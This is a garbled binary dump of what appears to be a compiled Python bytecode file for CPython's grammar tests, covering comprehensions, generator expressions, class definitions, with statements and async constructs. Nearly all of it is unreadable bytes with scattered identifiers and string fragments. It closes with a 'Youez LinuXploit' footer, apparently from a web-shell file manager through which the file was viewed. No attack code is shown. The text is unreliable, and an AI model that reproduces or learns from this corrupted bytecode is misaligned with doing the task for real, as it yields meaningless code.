�d�|jt|�d�dS)Nrr�Z01234rrNr�r�rcSst|�j|fS)N)rrA)rrrr
r��sz-GrammarTests.test_selectors.<locals>.<lambda>)r�z[1, (1,), (1, 2), (1, 2, 3)]r����r�������)r)rr)rrr�)rr�r��modulesrR�sortr	r>)	r
rr�r�rrUr"r��Lrrr
�test_selectorsts,
zGrammarTests.test_selectorscCs�d}dpdpd}dpdpdddf}g}dg}dp6dp6dg}dpDdpDdddg}g}i}ddi}ddi}dpjddppdi}ddd�}ddd�}dddddd	d
�}dh}ddh}dddh}dddh}|}d}d
}dS)Nrrr�rPr�)rPr�r�rNr�)rPr��threeZfourZfiveZsixr"rrtr)r
rrrr
�
test_atoms�s,



zGrammarTests.test_atomsc	Cs|Gdd�d�}Gdd�d�}Gdd�d|�}Gdd�d|�}Gd	d
�d
|||�}Gdd�d�}d
d�}|Gdd�d��}dS)Nc@seZdZdS)z%GrammarTests.test_classdef.<locals>.BN)rArBrCrrrr
�B�sr$c@seZdZdS)z&GrammarTests.test_classdef.<locals>.B2N)rArBrCrrrr
�B2�sr%c@seZdZdS)z&GrammarTests.test_classdef.<locals>.C1N)rArBrCrrrr
�C1�sr&c@seZdZdS)z&GrammarTests.test_classdef.<locals>.C2N)rArBrCrrrr
�C2�sr'c@seZdZdS)z%GrammarTests.test_classdef.<locals>.DN)rArBrCrrrr
�D�sr(c@s$eZdZdd�Zdd�Zdd�ZdS)z%GrammarTests.test_classdef.<locals>.CcSsdS)Nr)r
rrr
�meth1�sz+GrammarTests.test_classdef.<locals>.C.meth1cSsdS)Nr)r
�argrrr
�meth2�sz+GrammarTests.test_classdef.<locals>.C.meth2cSsdS)Nr)r
r�r�rrr
�meth3�sz+GrammarTests.test_classdef.<locals>.C.meth3N)rArBrCr)r+r,rrrr
r`�sr`cSs|S)Nr)rrrr
�class_decorator�sz3GrammarTests.test_classdef.<locals>.class_decoratorc@seZdZdS)z%GrammarTests.test_classdef.<locals>.GN)rArBrCrrrr
�G�sr.r)	r
r$r%r&r'r(r`r-r.rrr
�
test_classdef�szGrammarTests.test_classdefcCs,dddg}|jdd�|D�dddd��dS)Nrrr�cSsi|]}|d|�qS)rr)r�r�rrr
�
<dictcomp>�sz/GrammarTests.test_dictcomps.<locals>.<dictcomp>r�)rrr�)r	)r
�numsrrr
�test_dictcomps�s
zGrammarTests.test_dictcompscs�dddddg}dddg�d	d
dg}�jdd
�|D�dddg��jdd
�|D�dddddg��jdd
�|D�dddg��j�fdd
�|D�d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;g��j�fdd
�|D�d<d=d>d?d@dAdBdCdDdEg
��jdd
�td�D�dgddgdddgddddgdddddgg�dd�}�j||�dddg��fdd �}|�t�d!�t�d"�dFdGdHg}dIdJdKg�dLdMdNdOg���fd,d
�|D�}�j|dPdQdRdSg�dS)TNrrr�r�rN�Apple�Banana�Coconutz  Applez Banana zCoco  nut  cSsg|]}|j��qSr)�strip)r�r"rrr
r��sz/GrammarTests.test_listcomps.<locals>.<listcomp>z	Coco  nutcSsg|]}d|�qS)r�r)r�rrrr
r��sr�rr��cSsg|]}|dkr|�qS)rr)r�rrrr
r��scsg|]}�D]}||f�qqSrr)r�r�r")�strsrr
r��scs(g|] }dd��D�D]}||f�qqS)cSsg|]}d|kr|�qS)r	r)r�rXrrr
r��sz:GrammarTests.test_listcomps.<locals>.<listcomp>.<listcomp>r)r�r�r")r8rr
r��scSsg|]}dd�|��qS)cs�fdd�t�d�D�S)Ncsg|]}�|�qSrr)r�r�)rUrr
r��szLGrammarTests.test_listcomps.<locals>.<listcomp>.<lambda>.<locals>.<listcomp>r)�range)rUr)rUr
r��sz8GrammarTests.test_listcomps.<locals>.<listcomp>.<lambda>r)r�r�rrr
r��s���@�cSsdd�|D�S)NcSs,g|]$}|dkrd|ko"dkn�qS)rrr�r)r�rrrr
r��szEGrammarTests.test_listcomps.<locals>.test_in_func.<locals>.<listcomp>r)�lrrr
�test_in_func�sz1GrammarTests.test_listcomps.<locals>.test_in_funcFcs,�jdd�d	D�ddgddgddgg�dS)
NcSs"g|]}dd�||dgD��qS)cSsg|]}|�qSrr)r�r5rrr
r��szUGrammarTests.test_listcomps.<locals>.test_nested_front.<locals>.<listcomp>.<listcomp>rr)r�rrrr
r��szJGrammarTests.test_listcomps.<locals>.test_nested_front.<locals>.<listcomp>rr�rNrr�r�)rr�rN)r	r)r
rr
�test_nested_front�sz6GrammarTests.test_listcomps.<locals>.test_nested_frontz"[i, s for i in nums for s in strs]z[x if y]�Boeing�Ford�
Macdonaldsr��Airlinerr��Engine��CheeseburgercsDg|]<\}}�D].\}}�D] \}}||kr||kr||f�qqqSrr)r�ZsnoZsnameZpnoZpnameZsp_snoZsp_pno)�parts�suppartrr
r�s)rr3)rr4)rr5)rr3)rr4)rr5)r�r3)r�r4)r�r5)r�r3)r�r4)r�r5)rNr3)rNr4)rNr5)rr4)rr5)rr4)rr5)r�r4)r�r5)r�r4)r�r5)rNr4)rNr5)rrA)rrB)r�rC)r�rD)r�rE)rFrG)rr�)rr�)rr�)r�rF)rArD)rArE)rBrE)rCrG)r	r9r)r
r1Zspcsr?r@Z	suppliersrr)rHr
r8rIr
�test_listcomps�sF

 
.

zGrammarTests.test_listcompscs�dd�td�D�}|jt|�dd�td�D��yt|�|jd�Wntk
rZYnXd�y(�fdd��D�}t|�|jd	�Wntk
r�YnX|jtd
d�dD��dd�dD��|jtd
d�dD��dd�dD��dd�td�D��dd�dd��D�D�}|jt|�tdd�td�D���|jtdd�td�D��tdd�td�D���|jtdd�td�D��tdd�td�D���|jtdd�dd�td�D�D��tdd�td�D���|jtdd�dd�dd�td�D�D�D��tdd�td�D���|jtdd�d d�d!d�td�D�D�D��td"d�td�D���|jtd#d�d$d�d%d�td�D�D�D��td&d�td�D���|jtd'd�d(d�d)d�td�D�D�D��d*�t|d+�t|d,�dS)-Ncss |]}dd�td�D�VqdS)cSsg|]}|�qSrr)r�rrrr
r�sz7GrammarTests.test_genexps.<locals>.<genexpr>.<listcomp>r�N)r9)r�rrrr
�	<genexpr>sz,GrammarTests.test_genexps.<locals>.<genexpr>rcSsg|]}|�qSrr)r�rrrr
r�sz-GrammarTests.test_genexps.<locals>.<listcomp>r�z&should produce StopIteration exceptionc3s|]
}�VqdS)Nr)r�r�)rUrr
rKszshould produce TypeErrorcss |]}dD]}||fVq
qdS)�abcdNr)r�rr5rrr
rK srLcSsg|]}dD]}||f�qqS)rLr)r�rr5rrr
r� scss |]}dD]}||fVq
qdS)�xyNr)r�rr5rrr
rK!sZabcSsg|]}dD]}||f�qqS)rMr)r�rr5rrr
r�!scSsg|]}|�qSrr)r�rrrr
r�#scss|]
}|VqdS)Nr)r�rrrr
rK$scss|]
}|VqdS)Nr)r�r5rrr
rK$scSsg|]}|�qSrr)r�rrrr
r�%scss|]}|dVqdS)rNr)r�rrrr
rK'scSsg|]}|d�qS)rr)r�rrrr
r�'scss|]}|dr||VqdS)rNr)r�rrrr
rK(scSsg|]}|dr||�qS)rr)r�rrrr
r�(scss|]
}|VqdS)Nr)r�rrrr
rK)scss|]
}|VqdS)Nr)r�r5rrr
rK)scSsg|]}|�qSrr)r�rrrr
r�)scss|]
}|VqdS)Nr)r�rrrr
rK*scss|]
}|VqdS)Nr)r�r5rrr
rK*scss|]
}|VqdS)Nr)r�r_rrr
rK*scSsg|]}|�qSrr)r�rrrr
r�*scss|]
}|VqdS)Nr)r�rrrr
rK+scSsg|]}|�qSrr)r�r5rrr
r�+scss|]
}|VqdS)Nr)r�r_rrr
rK+scSsg|]}|�qSrr)r�rrrr
r�+scss|]
}|VqdS)TNr)r�rrrr
rK,scss|]
}|VqdS)Nr)r�r5rrr
rK,scss|]
}|VqdS)TNr)r�r_rrr
rK,scSsg|]}|�qSrr)r�rrrr
r�,scss|]
}|VqdS)TNr)r�rrrr
rK-scss|]}dr|VqdS)FNr)r�r5rrr
rK-scss|]
}|VqdS)TNr)r�r_rrr
rK-srzfoo(x for x in range(10), 100)zfoo(100, x for x in range(10)))	r9r	�nextr!�
StopIterationr�rR�sumr)r
r�rVr)rUr
�test_genexpss8$$"00:DDD2
zGrammarTests.test_genexpscs�d�dd�t��D�}d�|jtt|��d�d�d���fdd�t��D�}d�d�|jdd	�td�D�t|��|jd
d	�td�D�dddg�|jtd
d�td�D��dddg�|jdd	�dD�dddg�|jtdd�dD��dddg�dS)Nr�css|]
}|VqdS)Nr)r�r�rrr
rK3sz;GrammarTests.test_comprehension_specials.<locals>.<genexpr>rNFc3s(|] }�rt��D]}||fVqqdS)N)r9)r�r�r�)�trrr
rK7sTcSs"g|]}td�D]}||f�qqS)rN)r9)r�r�r�rrr
r�9sz<GrammarTests.test_comprehension_specials.<locals>.<listcomp>cSs g|]}|dr|dr|�qS)rr�r)r�rrrr
r�=srr�css"|]}|dr|dr|VqdS)rr�Nr)r�rrrr
rK>scSsg|]
\}|�qSrr)r�rrrr
r�Asr�r�css|]\}|VqdS)Nr)r�rrrr
rKBsr�r�r��rN�r�)rSrTrU�r��r��r)rVrWrX)r9r	r3rR)r
r�r)rRrr
�test_comprehension_specials1s $z(GrammarTests.test_comprehension_specialscACs�Gdd�dt�}|��WdQRX|��}WdQRX|��
\}}WdQRX|��|��WdQRXWdQRX|��}|��}WdQRXWdQRX|��}|��WdQRXWdQRXdS)Nc@seZdZdd�Zdd�ZdS)z1GrammarTests.test_with_statement.<locals>.managercSsdS)Nrr)rrr)r
rrr
�	__enter__Fsz;GrammarTests.test_with_statement.<locals>.manager.__enter__cWsdS)Nr)r
r�rrr
�__exit__Hsz:GrammarTests.test_with_statement.<locals>.manager.__exit__N)rArBrCrZr[rrrr
�managerEsr\)�object)r
r\rr5rrr
�test_with_statementDs


z GrammarTests.test_with_statementcCs�dd�}|jdd�dd�dd�fD�dg�|jd	d�d
d�dd�fD�dg�|jd
n|dd�d
�|jdrx|dd�nd
d
�|jdr�d
o�dndd�|jdr�d
o�dndd�|jd
o�dndd�|jdr�dp�|dd�ndd�|jd�p�|dd�n|dd�d�|jd�pd
n|dd�d
�|jd
ndd�|jd�rBd
ndd�|jdndd�|jdndd
�|jdndd�|jdndd�|jd�r�ddkndd�dS) NcSst|�|S)z@helper to check that evaluation of expressions is done correctly)rZ)r�Zretrrr
�
_checkevalZsz2GrammarTests.test_if_else_expr.<locals>._checkevalcSsg|]}|�r|��qSrr)r�rrrr
r�asz2GrammarTests.test_if_else_expr.<locals>.<listcomp>cSsdS)NTrrrrr
r�asz0GrammarTests.test_if_else_expr.<locals>.<lambda>cSsdS)NFrrrrr
r�asTcSsg|]}|d�r|d��qS)Fr)r�rrrr
r�bscSs|rdSdS)NFTr)rrrr
r�bscSs|rdSdS)NTFr)rrrr
r�bsrrNzcheck 1rzcheck 2r�zcheck 3rr�zcheck 4zcheck 5zcheck 6Fr�r�r�r�rNr�g@)r	)r
r_rrr
�test_if_else_exprXs$$$"zGrammarTests.test_if_else_exprcCsj|jdd�|jd
d�|jdd�|jdddkk�|jddkdk�|jddko^dkn�dS)
Nr;r�rr�Fr�rr�r�rr�r)r	rZassertFalse)r
rrr
�test_paren_evaluationssz"GrammarTests.test_paren_evaluationcCs>Gdd�d�}|�}|j||d�|d}|j|jd�dS)Nc@seZdZdd�Zdd�ZdS)z'GrammarTests.test_matrix_mul.<locals>.McSsdS)Nr�r)r
rurrr
�
__matmul__sz2GrammarTests.test_matrix_mul.<locals>.M.__matmul__cSs
||_|S)N)�other)r
rurrr
�__imatmul__�sz3GrammarTests.test_matrix_mul.<locals>.M.__imatmul__N)rArBrCrbrdrrrr
rz~srzr�rO)r	rc)r
rz�mrrr
�test_matrix_mul{s
zGrammarTests.test_matrix_mulcCsxdd�}|j|jd�|jt|jjtj@��dd�}|dd��}|j|j�|j|jd�|jt|jjtj@��dS)	Nc�sdd�}t�IdHdS)NcSsdS)Nrrrrr
rP�sz8GrammarTests.test_async_await.<locals>.test.<locals>.sum)Zsomeobj)rPrrr
rw�sz+GrammarTests.test_async_await.<locals>.testrwcSst|dd�|S)N�_markedT)�setattr)�funcrrr
�	decorator�sz0GrammarTests.test_async_await.<locals>.decoratorc�sdS)N�rrrrr
�test2�sz,GrammarTests.test_async_await.<locals>.test2rl)	r	rAr�boolr��co_flags�inspectZCO_COROUTINErg)r
rwrjrlrrr
�test_async_await�szGrammarTests.test_async_awaitc	sRGdd�dt��Gdd�d����fdd�}|j���|�jd�WdQRXdS)Nc@seZdZdS)z)GrammarTests.test_async_for.<locals>.DoneN)rArBrCrrrr
�Done�srqc@seZdZdd�Zdd�ZdS)z*GrammarTests.test_async_for.<locals>.AItercSs|S)Nr)r
rrr
�	__aiter__�sz4GrammarTests.test_async_for.<locals>.AIter.__aiter__c�st�dS)N)�StopAsyncIteration)r
rrr
�	__anext__�sz4GrammarTests.test_async_for.<locals>.AIter.__anext__N)rArBrCrrrtrrrr
�AIter�sruc�s�x0��2dHy3dH}Wqtk
s&XqYWx4��2dHy3dH\}}Wq>tk
s\Xq>YWx0��2dHy3dH}Wqttk
s�XqtYW��dS)N)rs)r�r�)rurqrr
r��s$($z(GrammarTests.test_async_for.<locals>.foo)rfr�send)r
r�r)rurqr
�test_async_for�s
zGrammarTests.test_async_forc	sRGdd�dt��Gdd�d����fdd�}|j���|�jd�WdQRXdS)Nc@seZdZdS)z*GrammarTests.test_async_with.<locals>.DoneN)rArBrCrrrr
rq�srqc@seZdZdd�Zdd�ZdS)z-GrammarTests.test_async_with.<locals>.managerc�sdS)Nrr)rrr)r
rrr
�
__aenter__�sz8GrammarTests.test_async_with.<locals>.manager.__aenter__c�sdS)NFr)r
�excrrr
�	__aexit__�sz7GrammarTests.test_async_with.<locals>.manager.__aexit__N)rArBrCrxrzrrrr
r\�sr\cB�s,��4IdH�WdQIdHRX��4IdH�}WdQIdHRX��4IdH�
\}}WdQIdHRX��4IdH�&��4IdH�WdQIdHRXWdQIdHRX��4IdH�&}��4IdH�}WdQIdHRXWdQIdHRX��4IdH�&}��4IdH�WdQIdHRXWdQIdHRX��dS)Nr)rr5)rqr\rr
r��s      z)GrammarTests.test_async_with.<locals>.foo)rfrrv)r
r�r)rqr\r
�test_async_with�s
zGrammarTests.test_async_withN)=rArBrCrMrSrTrhrsr{rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�unittestZ
skipUnlessrrrrrrrrrrrrrr!r#r/r2rJrQrYr^r`rarfrprwr{rrrr
rL�sr.			\'	4$

#?#rL�__main__)Ztest.supportrror|rZtest.ann_modulerxry�collectionsrrwrr)r+ZTestCaserrQZvar_annot_globalrDrLrA�mainrrrr
�<module>s�
	^


Youez - 2016 - github.com/yon3zu
LinuXploit